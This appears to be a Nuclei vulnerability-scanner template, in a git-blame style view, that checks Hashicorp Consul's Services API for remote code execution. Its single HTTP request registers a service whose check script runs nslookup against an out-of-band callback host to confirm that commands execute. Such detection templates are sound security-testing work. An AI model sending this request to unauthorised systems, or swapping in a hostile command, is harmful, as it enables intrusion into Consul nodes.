2021-02-26 09:02:50 +00:00
|
|
|
id: hashicorp-consul-rce
|
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Hashicorp Consul Services API - Remote Code Execution
|
2021-02-26 09:02:50 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2023-02-10 10:24:24 +00:00
|
|
|
description: Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to perform remote command execution on Consul nodes.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/46074
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-06-03 19:12:31 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: hashicorp,rce,oast,intrusive,edb
|
2021-02-26 09:02:50 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-26 11:06:28 +00:00
|
|
|
- raw:
|
2021-02-26 11:31:59 +00:00
|
|
|
- | # Create USER
|
2021-02-26 11:06:28 +00:00
|
|
|
PUT /v1/agent/service/register HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
{
|
2021-05-02 12:21:44 +00:00
|
|
|
"ID": "{{randstr}}",
|
|
|
|
"Name": "{{randstr}}",
|
2021-02-26 11:06:28 +00:00
|
|
|
"Address": "127.0.0.1",
|
|
|
|
"Port": 80,
|
|
|
|
"check": {
|
2021-03-18 13:06:13 +00:00
|
|
|
"script": "nslookup {{interactsh-url}}",
|
2021-02-26 11:06:28 +00:00
|
|
|
"interval": "10s",
|
|
|
|
"Timeout": "86400s"
|
|
|
|
}
|
|
|
|
}
|
2021-02-26 09:02:50 +00:00
|
|
|
|
|
|
|
matchers:
|
2021-04-27 10:54:39 +00:00
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100961929119bcf94baa1c9184093fdce9c7e88aea86c1cf9ee3f20cd126220cf7e02205c73432fecd7ad31aa1599e549761c7ba7c210ea0fdc5c4d43bb87fdab015611:922c64590222798bb761d5b6d8e72950
|